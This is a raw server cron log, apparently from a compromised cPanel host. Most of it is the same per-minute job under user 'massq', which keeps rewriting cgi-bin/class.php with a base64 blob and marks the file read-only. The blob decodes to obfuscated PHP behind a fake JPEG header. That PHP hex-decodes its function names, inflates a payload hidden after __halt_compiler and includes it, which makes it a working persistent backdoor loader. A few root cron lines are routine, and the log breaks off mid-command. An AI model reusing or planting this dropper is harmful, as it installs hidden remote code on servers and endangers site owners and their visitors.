Nov 13 19:16:01 server CROND[26238]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:17:01 server CROND[27191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:18:01 server CROND[27977]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:19:01 server CROND[28905]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:20:01 server CROND[29801]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 19:20:01 server CROND[29802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:20:01 server CROND[29805]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 19:20:01 server CROND[29804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:20:01 server CROND[29807]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:21:01 server CROND[30728]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:22:01 server CROND[31818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:23:01 server CROND[32487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:24:01 server CROND[540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:25:01 server CROND[1414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:25:01 server CROND[1415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:25:01 server CROND[1416]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:26:01 server CROND[2339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:27:01 server CROND[2924]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 19:27:01 server CROND[2926]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:28:01 server CROND[3593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:29:01 server CROND[4450]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 